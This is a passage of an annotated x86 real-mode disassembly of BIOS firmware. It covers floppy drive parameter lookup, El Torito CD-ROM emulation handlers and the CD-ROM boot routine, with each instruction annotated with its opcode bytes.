mov si, strict word 00041h ; be 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:si], 000h ; 26 c6 04 00
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
xor dx, dx ; 31 d2
call 02ed0h ; e8 45 f6
jmp near 03553h ; e9 c5 fc
mov bl, dl ; 88 d3
cmp dl, 001h ; 80 fa 01
jbe short 038bbh ; 76 26
mov word [bp+016h], strict word 00000h ; c7 46 16 00 00
mov word [bp+010h], strict word 00000h ; c7 46 10 00 00
mov word [bp+014h], strict word 00000h ; c7 46 14 00 00
mov word [bp+012h], strict word 00000h ; c7 46 12 00 00
mov word [bp+006h], strict word 00000h ; c7 46 06 00 00
mov word [bp+008h], strict word 00000h ; c7 46 08 00 00
mov dl, bh ; 88 fa
mov word [bp+012h], dx ; 89 56 12
jmp near 039e0h ; e9 25 01
mov ax, strict word 00010h ; b8 10 00
call 016aeh ; e8 ed dd
mov dl, al ; 88 c2
xor bh, bh ; 30 ff
test AL, strict byte 0f0h ; a8 f0
je short 038cbh ; 74 02
mov BH, strict byte 001h ; b7 01
test dl, 00fh ; f6 c2 0f
je short 038d2h ; 74 02
db 0feh, 0c7h
; inc bh ; fe c7
test bl, bl ; 84 db
jne short 038dch ; 75 06
mov CL, strict byte 004h ; b1 04
shr dl, CL ; d2 ea
jmp short 038dfh ; eb 03
and dl, 00fh ; 80 e2 0f
mov byte [bp+011h], 000h ; c6 46 11 00
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
mov word [bp+010h], ax ; 89 46 10
xor al, dl ; 30 d0
mov word [bp+016h], ax ; 89 46 16
mov cx, word [bp+012h] ; 8b 4e 12
mov cl, bh ; 88 f9
mov word [bp+012h], cx ; 89 4e 12
mov ax, cx ; 89 c8
xor ah, ch ; 30 ec
or ah, 001h ; 80 cc 01
mov word [bp+012h], ax ; 89 46 12
cmp dl, 003h ; 80 fa 03
jc short 0391bh ; 72 15
jbe short 03942h ; 76 3a
cmp dl, 005h ; 80 fa 05
jc short 03949h ; 72 3c
jbe short 03950h ; 76 41
cmp dl, 00fh ; 80 fa 0f
je short 0395eh ; 74 4a
cmp dl, 00eh ; 80 fa 0e
je short 03957h ; 74 3e
jmp short 03965h ; eb 4a
cmp dl, 002h ; 80 fa 02
je short 0393bh ; 74 1b
cmp dl, 001h ; 80 fa 01
je short 03934h ; 74 0f
test dl, dl ; 84 d2
jne short 03965h ; 75 3c
mov word [bp+014h], strict word 00000h ; c7 46 14 00 00
mov byte [bp+013h], 000h ; c6 46 13 00
jmp short 03977h ; eb 43
mov word [bp+014h], 02709h ; c7 46 14 09 27
jmp short 03977h ; eb 3c
mov word [bp+014h], 04f0fh ; c7 46 14 0f 4f
jmp short 03977h ; eb 35
mov word [bp+014h], 04f09h ; c7 46 14 09 4f
jmp short 03977h ; eb 2e
mov word [bp+014h], 04f12h ; c7 46 14 12 4f
jmp short 03977h ; eb 27
mov word [bp+014h], 04f24h ; c7 46 14 24 4f
jmp short 03977h ; eb 20
mov word [bp+014h], 0fe3fh ; c7 46 14 3f fe
jmp short 03977h ; eb 19
mov word [bp+014h], 0feffh ; c7 46 14 ff fe
jmp short 03977h ; eb 12
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 002cdh ; b8 cd 02
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 02 e0
add sp, strict byte 00006h ; 83 c4 06
mov word [bp+006h], 0f000h ; c7 46 06 00 f0
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
call 03c1ch ; e8 99 02
mov word [bp+008h], ax ; 89 46 08
jmp near 03553h ; e9 ca fb
mov bl, dl ; 88 d3
cmp dl, 001h ; 80 fa 01
jbe short 03995h ; 76 05
mov word [bp+016h], cx ; 89 4e 16
jmp short 039e0h ; eb 4b
mov ax, strict word 00010h ; b8 10 00
call 016aeh ; e8 13 dd
test bl, bl ; 84 db
jne short 039a7h ; 75 08
mov CL, strict byte 004h ; b1 04
mov dl, al ; 88 c2
shr dl, CL ; d2 ea
jmp short 039ach ; eb 05
mov dl, al ; 88 c2
and dl, 00fh ; 80 e2 0f
and byte [bp+01ch], 0feh ; 80 66 1c fe
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
test dl, dl ; 84 d2
je short 039c6h ; 74 0d
cmp dl, 001h ; 80 fa 01
jbe short 039c3h ; 76 05
or ah, 002h ; 80 cc 02
jmp short 039c6h ; eb 03
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
jmp near 032dbh ; e9 0f f9
cmp dl, 001h ; 80 fa 01
jbe short 039e6h ; 76 15
mov word [bp+016h], si ; 89 76 16
mov bx, strict word 00041h ; bb 41 00
mov dx, strict word 00040h ; ba 40 00
mov es, dx ; 8e c2
mov byte [es:bx], 001h ; 26 c6 07 01
mov word [bp+01ch], ax ; 89 46 1c
jmp near 032dbh ; e9 f5 f8
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 006h ; 80 cc 06
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 006h ; 26 c6 07 06
jmp near 03ae1h ; e9 e1 00
mov bl, dl ; 88 d3
mov cl, byte [bp+016h] ; 8a 4e 16
cmp dl, 001h ; 80 fa 01
jnbe short 039d1h ; 77 c7
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 031d1h ; e8 c0 f7
test ax, ax ; 85 c0
jne short 03a18h ; 75 03
jmp near 036fdh ; e9 e5 fc
test bl, bl ; 84 db
je short 03a21h ; 74 05
mov bx, 00091h ; bb 91 00
jmp short 03a24h ; eb 03
mov bx, 00090h ; bb 90 00
mov word [bp-00ch], bx ; 89 5e f4
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov bl, byte [es:bx] ; 26 8a 1f
and bl, 00fh ; 80 e3 0f
cmp cl, 002h ; 80 f9 02
jc short 03a46h ; 72 0f
jbe short 03a53h ; 76 1a
cmp cl, 004h ; 80 f9 04
je short 03a4eh ; 74 10
cmp cl, 003h ; 80 f9 03
je short 03a58h ; 74 15
jmp near 03265h ; e9 1f f8
cmp cl, 001h ; 80 f9 01
je short 03a4eh ; 74 03
jmp near 03265h ; e9 17 f8
or bl, 090h ; 80 cb 90
jmp short 03a5bh ; eb 08
or bl, 070h ; 80 cb 70
jmp short 03a5bh ; eb 03
or bl, 010h ; 80 cb 10
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov si, word [bp-00ch] ; 8b 76 f4
mov byte [es:si], bl ; 26 88 1c
xor al, al ; 30 c0
mov byte [bp+017h], al ; 88 46 17
mov bx, strict word 00041h ; bb 41 00
mov byte [es:bx], al ; 26 88 07
jmp near 03553h ; e9 df fa
mov bl, dl ; 88 d3
mov cl, byte [bp+014h] ; 8a 4e 14
mov bh, cl ; 88 cf
and bh, 03fh ; 80 e7 3f
mov byte [bp-00ah], cl ; 88 4e f6
mov byte [bp-009h], dh ; 88 76 f7
mov CL, strict byte 006h ; b1 06
mov di, word [bp-00ah] ; 8b 7e f6
sar di, CL ; d3 ff
mov cx, di ; 89 f9
mov byte [bp-009h], cl ; 88 4e f7
mov byte [bp-00ah], dh ; 88 76 f6
mov cl, byte [bp+015h] ; 8a 4e 15
xor ch, ch ; 30 ed
add cx, word [bp-00ah] ; 03 4e f6
mov byte [bp-004h], cl ; 88 4e fc
cmp dl, 001h ; 80 fa 01
jbe short 03aa6h ; 76 03
jmp near 039d1h ; e9 2b ff
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
call 031d1h ; e8 24 f7
test ax, ax ; 85 c0
jne short 03ab4h ; 75 03
jmp near 036fdh ; e9 49 fc
mov cl, bl ; 88 d9
xor ch, ch ; 30 ed
mov ax, cx ; 89 c8
call 0300bh ; e8 4e f5
test ax, ax ; 85 c0
jne short 03ae8h ; 75 27
mov ax, cx ; 89 c8
call 030eah ; e8 24 f6
test ax, ax ; 85 c0
jne short 03ae8h ; 75 1e
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 00ch ; 80 cc 0c
mov word [bp+016h], ax ; 89 46 16
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 00ch ; 26 c6 07 0c
or byte [bp+01ch], 001h ; 80 4e 1c 01
jmp near 032dbh ; e9 f3 f7
mov ax, strict word 00010h ; b8 10 00
call 016aeh ; e8 c0 db
test bl, bl ; 84 db
jne short 03afah ; 75 08
mov CL, strict byte 004h ; b1 04
mov dl, al ; 88 c2
shr dl, CL ; d2 ea
jmp short 03affh ; eb 05
mov dl, al ; 88 c2
and dl, 00fh ; 80 e2 0f
test bl, bl ; 84 db
je short 03b08h ; 74 05
mov si, 00091h ; be 91 00
jmp short 03b0bh ; eb 03
mov si, 00090h ; be 90 00
mov word [bp-00ch], si ; 89 76 f4
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov bl, byte [es:si] ; 26 8a 1c
and bl, 00fh ; 80 e3 0f
cmp dl, 003h ; 80 fa 03
jc short 03b39h ; 72 1b
mov al, bl ; 88 d8
or AL, strict byte 090h ; 0c 90
cmp dl, 003h ; 80 fa 03
jbe short 03b75h ; 76 4e
mov ah, bl ; 88 dc
or ah, 010h ; 80 cc 10
cmp dl, 005h ; 80 fa 05
je short 03b73h ; 74 42
cmp dl, 004h ; 80 fa 04
je short 03b82h ; 74 4c
jmp near 03bbah ; e9 81 00
cmp dl, 002h ; 80 fa 02
je short 03b53h ; 74 15
cmp dl, 001h ; 80 fa 01
jne short 03b86h ; 75 43
cmp byte [bp-004h], 027h ; 80 7e fc 27
jne short 03b86h ; 75 3d
cmp bh, 009h ; 80 ff 09
jne short 03b9ch ; 75 4e
or bl, 090h ; 80 cb 90
jmp short 03b9ch ; eb 49
cmp byte [bp-004h], 027h ; 80 7e fc 27
jne short 03b63h ; 75 0a
cmp bh, 009h ; 80 ff 09
jne short 03b63h ; 75 05
or bl, 070h ; 80 cb 70
jmp short 03b9ch ; eb 39
cmp byte [bp-004h], 04fh ; 80 7e fc 4f
jne short 03bbah ; 75 51
cmp bh, 00fh ; 80 ff 0f
jne short 03bbah ; 75 4c
or bl, 010h ; 80 cb 10
jmp short 03bbah ; eb 47
jmp short 03b9eh ; eb 29
cmp byte [bp-004h], 04fh ; 80 7e fc 4f
jne short 03bbah ; 75 3f
cmp bh, 009h ; 80 ff 09
je short 03b84h ; 74 04
jmp short 03bbah ; eb 38
jmp short 03b88h ; eb 04
mov bl, al ; 88 c3
jmp short 03bbah ; eb 32
cmp byte [bp-004h], 04fh ; 80 7e fc 4f
jne short 03bbah ; 75 2c
cmp bh, 009h ; 80 ff 09
jne short 03b95h ; 75 02
jmp short 03b84h ; eb ef
cmp bh, 012h ; 80 ff 12
jne short 03bbah ; 75 20
mov bl, ah ; 88 e3
jmp short 03bbah ; eb 1c
cmp byte [bp-004h], 04fh ; 80 7e fc 4f
jne short 03bbah ; 75 16
cmp bh, 009h ; 80 ff 09
jne short 03babh ; 75 02
jmp short 03b84h ; eb d9
cmp bh, 012h ; 80 ff 12
jne short 03bb2h ; 75 02
jmp short 03b9ah ; eb e8
cmp bh, 024h ; 80 ff 24
jne short 03bbah ; 75 03
or bl, 0d0h ; 80 cb d0
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov CL, strict byte 004h ; b1 04
sar ax, CL ; d3 f8
test AL, strict byte 001h ; a8 01
jne short 03bc9h ; 75 03
jmp near 03acah ; e9 01 ff
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov si, word [bp-00ch] ; 8b 76 f4
mov byte [es:si], bl ; 26 88 1c
mov word [bp+006h], 0f000h ; c7 46 06 00 f0
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
call 03c1ch ; e8 3c 00
mov word [bp+008h], ax ; 89 46 08
mov byte [bp+017h], 000h ; c6 46 17 00
mov bx, strict word 00041h ; bb 41 00
mov ax, strict word 00040h ; b8 40 00
mov es, ax ; 8e c0
mov byte [es:bx], 000h ; 26 c6 07 00
jmp near 03553h ; e9 5d f9
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 32 dd
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 00275h ; b8 75 02
push ax ; 50
mov ax, 002e2h ; b8 e2 02
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 60 dd
add sp, strict byte 00008h ; 83 c4 08
jmp near 03265h ; e9 49 f6
get_floppy_dpt_: ; 0xf3c1c LB 0x32
push bx ; 53
push dx ; 52
push bp ; 55
mov bp, sp ; 89 e5
mov dl, al ; 88 c2
xor ax, ax ; 31 c0
jmp short 03c2dh ; eb 06
inc ax ; 40
cmp ax, strict word 00007h ; 3d 07 00
jnc short 03c47h ; 73 1a
mov bx, ax ; 89 c3
sal bx, 1 ; d1 e3
cmp dl, byte [word bx+0005bh] ; 3a 97 5b 00
jne short 03c27h ; 75 f0
mov al, byte [word bx+0005ch] ; 8a 87 5c 00
xor ah, ah ; 30 e4
mov bx, strict word 0000dh ; bb 0d 00
imul bx ; f7 eb
add ax, strict word 00000h ; 05 00 00
jmp short 03c4ah ; eb 03
mov ax, strict word 00041h ; b8 41 00
pop bp ; 5d
pop dx ; 5a
pop bx ; 5b
retn ; c3
dummy_soft_reset_: ; 0xf3c4e LB 0x7
push bp ; 55
mov bp, sp ; 89 e5
xor ax, ax ; 31 c0
pop bp ; 5d
retn ; c3
_cdemu_init: ; 0xf3c55 LB 0x18
push bp ; 55
mov bp, sp ; 89 e5
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 0d da
xor bx, bx ; 31 db
mov dx, 00366h ; ba 66 03
call 01660h ; e8 f7 d9
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_cdemu_isactive: ; 0xf3c6d LB 0x16
push bp ; 55
mov bp, sp ; 89 e5
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 f5 d9
mov dx, 00366h ; ba 66 03
call 01652h ; e8 d3 d9
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_cdemu_emulated_drive: ; 0xf3c83 LB 0x16
push bp ; 55
mov bp, sp ; 89 e5
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 df d9
mov dx, 00368h ; ba 68 03
call 01652h ; e8 bd d9
mov sp, bp ; 89 ec
pop bp ; 5d
retn ; c3
_int13_eltorito: ; 0xf3c99 LB 0x191
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 c7 d9
mov si, 00366h ; be 66 03
mov di, ax ; 89 c7
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
cmp ax, strict word 0004bh ; 3d 4b 00
jc short 03cc0h ; 72 0a
jbe short 03cebh ; 76 33
cmp ax, strict word 0004dh ; 3d 4d 00
jbe short 03cc5h ; 76 08
jmp near 03df0h ; e9 30 01
cmp ax, strict word 0004ah ; 3d 4a 00
jne short 03ce8h ; 75 23
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 63 dc
push word [bp+016h] ; ff 76 16
mov ax, 002fch ; b8 fc 02
push ax ; 50
mov ax, 0030bh ; b8 0b 03
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 94 dc
add sp, strict byte 00008h ; 83 c4 08
jmp near 03e0bh ; e9 23 01
jmp near 03df0h ; e9 05 01
mov dx, word [bp+00ah] ; 8b 56 0a
mov ax, word [bp+004h] ; 8b 46 04
mov bx, strict word 00013h ; bb 13 00
call 01660h ; e8 69 d9
mov es, di ; 8e c7
mov bl, byte [es:si+001h] ; 26 8a 5c 01
xor bh, bh ; 30 ff
mov dx, word [bp+00ah] ; 8b 56 0a
inc dx ; 42
mov ax, word [bp+004h] ; 8b 46 04
call 01660h ; e8 57 d9
mov es, di ; 8e c7
mov bl, byte [es:si+002h] ; 26 8a 5c 02
xor bh, bh ; 30 ff
mov dx, word [bp+00ah] ; 8b 56 0a
inc dx ; 42
inc dx ; 42
mov ax, word [bp+004h] ; 8b 46 04
call 01660h ; e8 44 d9
mov es, di ; 8e c7
mov bl, byte [es:si+003h] ; 26 8a 5c 03
xor bh, bh ; 30 ff
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 00003h ; 83 c2 03
mov ax, word [bp+004h] ; 8b 46 04
call 01660h ; e8 30 d9
mov es, di ; 8e c7
mov bx, word [es:si+008h] ; 26 8b 5c 08
mov cx, word [es:si+00ah] ; 26 8b 4c 0a
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 00004h ; 83 c2 04
mov ax, word [bp+004h] ; 8b 46 04
call 0169ch ; e8 56 d9
mov es, di ; 8e c7
mov bx, word [es:si+004h] ; 26 8b 5c 04
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 00008h ; 83 c2 08
mov ax, word [bp+004h] ; 8b 46 04
call 0167ch ; e8 24 d9
mov es, di ; 8e c7
mov bx, word [es:si+006h] ; 26 8b 5c 06
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 0000ah ; 83 c2 0a
mov ax, word [bp+004h] ; 8b 46 04
call 0167ch ; e8 12 d9
mov es, di ; 8e c7
mov bx, word [es:si+00ch] ; 26 8b 5c 0c
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 0000ch ; 83 c2 0c
mov ax, word [bp+004h] ; 8b 46 04
call 0167ch ; e8 00 d9
mov es, di ; 8e c7
mov bx, word [es:si+00eh] ; 26 8b 5c 0e
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 0000eh ; 83 c2 0e
mov ax, word [bp+004h] ; 8b 46 04
call 0167ch ; e8 ee d8
mov es, di ; 8e c7
mov bl, byte [es:si+012h] ; 26 8a 5c 12
xor bh, bh ; 30 ff
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 00010h ; 83 c2 10
mov ax, word [bp+004h] ; 8b 46 04
call 01660h ; e8 be d8
mov es, di ; 8e c7
mov bl, byte [es:si+014h] ; 26 8a 5c 14
xor bh, bh ; 30 ff
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 00011h ; 83 c2 11
mov ax, word [bp+004h] ; 8b 46 04
call 01660h ; e8 aa d8
mov es, di ; 8e c7
mov bl, byte [es:si+010h] ; 26 8a 5c 10
xor bh, bh ; 30 ff
mov dx, word [bp+00ah] ; 8b 56 0a
add dx, strict byte 00012h ; 83 c2 12
mov ax, word [bp+004h] ; 8b 46 04
call 01660h ; e8 96 d8
test byte [bp+016h], 0ffh ; f6 46 16 ff
jne short 03dd6h ; 75 06
mov es, di ; 8e c7
mov byte [es:si], 000h ; 26 c6 04 00
mov byte [bp+017h], 000h ; c6 46 17 00
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 7b d8
and byte [bp+01ch], 0feh ; 80 66 1c fe
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 38 db
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 002fch ; b8 fc 02
push ax ; 50
mov ax, 00333h ; b8 33 03
jmp near 03cdah ; e9 cf fe
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov bl, byte [bp+017h] ; 8a 5e 17
xor bh, bh ; 30 ff
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 3c d8
or byte [bp+01ch], 001h ; 80 4e 1c 01
jmp short 03de9h ; eb bf
device_is_cdrom_: ; 0xf3e2a LB 0x3f
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
mov bl, al ; 88 c3
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 33 d8
mov cx, ax ; 89 c1
cmp bl, 010h ; 80 fb 10
jc short 03e46h ; 72 04
xor ax, ax ; 31 c0
jmp short 03e61h ; eb 1b
mov al, bl ; 88 d8
xor ah, ah ; 30 e4
mov bx, strict word 0001ch ; bb 1c 00
imul bx ; f7 eb
mov es, cx ; 8e c1
mov bx, ax ; 89 c3
add bx, 00122h ; 81 c3 22 01
cmp byte [es:bx+023h], 005h ; 26 80 7f 23 05
jne short 03e42h ; 75 e4
mov ax, strict word 00001h ; b8 01 00
lea sp, [bp-006h] ; 8d 66 fa
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
cdrom_boot_: ; 0xf3e69 LB 0x43e
push bp ; 55
mov bp, sp ; 89 e5
push bx ; 53
push cx ; 51
push dx ; 52
push si ; 56
push di ; 57
sub sp, 0081ch ; 81 ec 1c 08
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 f0 d7
mov word [bp-018h], ax ; 89 46 e8
mov si, 00366h ; be 66 03
mov word [bp-016h], ax ; 89 46 ea
mov word [bp-012h], 00122h ; c7 46 ee 22 01
mov word [bp-010h], ax ; 89 46 f0
mov byte [bp-00eh], 000h ; c6 46 f2 00
jmp short 03e9eh ; eb 09
inc byte [bp-00eh] ; fe 46 f2
cmp byte [bp-00eh], 010h ; 80 7e f2 10
jnc short 03eaah ; 73 0c
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
call 03e2ah ; e8 84 ff
test ax, ax ; 85 c0
je short 03e95h ; 74 eb
cmp byte [bp-00eh], 010h ; 80 7e f2 10
jc short 03eb6h ; 72 06
mov ax, strict word 00002h ; b8 02 00
jmp near 04244h ; e9 8e 03
mov cx, strict word 0000ch ; b9 0c 00
xor bx, bx ; 31 db
mov dx, ss ; 8c d2
lea ax, [bp-026h] ; 8d 46 da
call 0a1c0h ; e8 fd 62
mov word [bp-026h], strict word 00028h ; c7 46 da 28 00
mov ax, strict word 00011h ; b8 11 00
xor dx, dx ; 31 d2
xchg ah, al ; 86 c4
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-024h], ax ; 89 46 dc
mov word [bp-022h], dx ; 89 56 de
mov ax, strict word 00001h ; b8 01 00
xchg ah, al ; 86 c4
mov word [bp-01fh], ax ; 89 46 e1
les bx, [bp-012h] ; c4 5e ee
mov word [es:bx+00eh], strict word 00001h ; 26 c7 47 0e 01 00
mov word [es:bx+010h], 00800h ; 26 c7 47 10 00 08
mov byte [bp-00ch], 000h ; c6 46 f4 00
jmp short 03efeh ; eb 09
inc byte [bp-00ch] ; fe 46 f4
cmp byte [bp-00ch], 004h ; 80 7e f4 04
jnbe short 03f40h ; 77 42
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les bx, [bp-012h] ; c4 5e ee
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
sal di, 1 ; d1 e7
lea dx, [bp-00826h] ; 8d 96 da f7
push SS ; 16
push dx ; 52
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov ax, 00800h ; b8 00 08
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov cx, ss ; 8c d1
lea bx, [bp-026h] ; 8d 5e da
mov dx, strict word 0000ch ; ba 0c 00
call word [word di+0006ah] ; ff 95 6a 00
test ax, ax ; 85 c0
jne short 03ef5h ; 75 b5
test ax, ax ; 85 c0
je short 03f4ah ; 74 06
mov ax, strict word 00003h ; b8 03 00
jmp near 04244h ; e9 fa 02
cmp byte [bp-00826h], 000h ; 80 be da f7 00
je short 03f57h ; 74 06
mov ax, strict word 00004h ; b8 04 00
jmp near 04244h ; e9 ed 02
xor di, di ; 31 ff
jmp short 03f61h ; eb 06
inc di ; 47
cmp di, strict byte 00005h ; 83 ff 05
jnc short 03f71h ; 73 10
mov al, byte [bp+di-00825h] ; 8a 83 db f7
cmp al, byte [di+00da8h] ; 3a 85 a8 0d
je short 03f5bh ; 74 f0
mov ax, strict word 00005h ; b8 05 00
jmp near 04244h ; e9 d3 02
xor di, di ; 31 ff
jmp short 03f7bh ; eb 06
inc di ; 47
cmp di, strict byte 00017h ; 83 ff 17
jnc short 03f8bh ; 73 10
mov al, byte [bp+di-0081fh] ; 8a 83 e1 f7
cmp al, byte [di+00daeh] ; 3a 85 ae 0d
je short 03f75h ; 74 f0
mov ax, strict word 00006h ; b8 06 00
jmp near 04244h ; e9 b9 02
mov ax, word [bp-007dfh] ; 8b 86 21 f8
mov dx, word [bp-007ddh] ; 8b 96 23 f8
mov word [bp-026h], strict word 00028h ; c7 46 da 28 00
xchg ah, al ; 86 c4
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-024h], ax ; 89 46 dc
mov word [bp-022h], dx ; 89 56 de
mov ax, strict word 00001h ; b8 01 00
xchg ah, al ; 86 c4
mov word [bp-01fh], ax ; 89 46 e1
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les bx, [bp-012h] ; c4 5e ee
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
xor ah, ah ; 30 e4
mov di, ax ; 89 c7
sal di, 1 ; d1 e7
lea dx, [bp-00826h] ; 8d 96 da f7
push SS ; 16
push dx ; 52
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov ax, 00800h ; b8 00 08
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov cx, ss ; 8c d1
lea bx, [bp-026h] ; 8d 5e da
mov dx, strict word 0000ch ; ba 0c 00
call word [word di+0006ah] ; ff 95 6a 00
test ax, ax ; 85 c0
je short 03ff3h ; 74 06
mov ax, strict word 00007h ; b8 07 00
jmp near 04244h ; e9 51 02
cmp byte [bp-00826h], 001h ; 80 be da f7 01
je short 04000h ; 74 06
mov ax, strict word 00008h ; b8 08 00
jmp near 04244h ; e9 44 02
cmp byte [bp-00825h], 000h ; 80 be db f7 00
je short 0400dh ; 74 06
mov ax, strict word 00009h ; b8 09 00
jmp near 04244h ; e9 37 02
cmp byte [bp-00808h], 055h ; 80 be f8 f7 55
je short 0401ah ; 74 06
mov ax, strict word 0000ah ; b8 0a 00
jmp near 04244h ; e9 2a 02
cmp byte [bp-00807h], 0aah ; 80 be f9 f7 aa
jne short 04014h ; 75 f3
cmp byte [bp-00806h], 088h ; 80 be fa f7 88
je short 0402eh ; 74 06
mov ax, strict word 0000bh ; b8 0b 00
jmp near 04244h ; e9 16 02
mov al, byte [bp-00805h] ; 8a 86 fb f7
mov es, [bp-016h] ; 8e 46 ea
mov byte [es:si+001h], al ; 26 88 44 01
cmp byte [bp-00805h], 000h ; 80 be fb f7 00
jne short 04047h ; 75 07
mov byte [es:si+002h], 0e0h ; 26 c6 44 02 e0
jmp short 0405ah ; eb 13
cmp byte [bp-00805h], 004h ; 80 be fb f7 04
jnc short 04055h ; 73 07
mov byte [es:si+002h], 000h ; 26 c6 44 02 00
jmp short 0405ah ; eb 05
mov byte [es:si+002h], 080h ; 26 c6 44 02 80
mov bl, byte [bp-00eh] ; 8a 5e f2
xor bh, bh ; 30 ff
mov ax, bx ; 89 d8
cwd ; 99
db 02bh, 0c2h
; sub ax, dx ; 2b c2
sar ax, 1 ; d1 f8
mov es, [bp-016h] ; 8e 46 ea
mov byte [es:si+003h], al ; 26 88 44 03
mov ax, bx ; 89 d8
cwd ; 99
mov bx, strict word 00002h ; bb 02 00
idiv bx ; f7 fb
mov word [es:si+004h], dx ; 26 89 54 04
mov ax, word [bp-00804h] ; 8b 86 fc f7
mov word [bp-014h], ax ; 89 46 ec
test ax, ax ; 85 c0
jne short 04089h ; 75 05
mov word [bp-014h], 007c0h ; c7 46 ec c0 07
mov ax, word [bp-014h] ; 8b 46 ec
mov es, [bp-016h] ; 8e 46 ea
mov word [es:si+00ch], ax ; 26 89 44 0c
mov word [es:si+006h], strict word 00000h ; 26 c7 44 06 00 00
mov bx, word [bp-00800h] ; 8b 9e 00 f8
mov word [es:si+00eh], bx ; 26 89 5c 0e
test bx, bx ; 85 db
je short 040abh ; 74 06
cmp bx, 00400h ; 81 fb 00 04
jbe short 040b1h ; 76 06
mov ax, strict word 0000ch ; b8 0c 00
jmp near 04244h ; e9 93 01
mov ax, word [bp-007feh] ; 8b 86 02 f8
mov dx, word [bp-007fch] ; 8b 96 04 f8
mov word [es:si+008h], ax ; 26 89 44 08
mov word [es:si+00ah], dx ; 26 89 54 0a
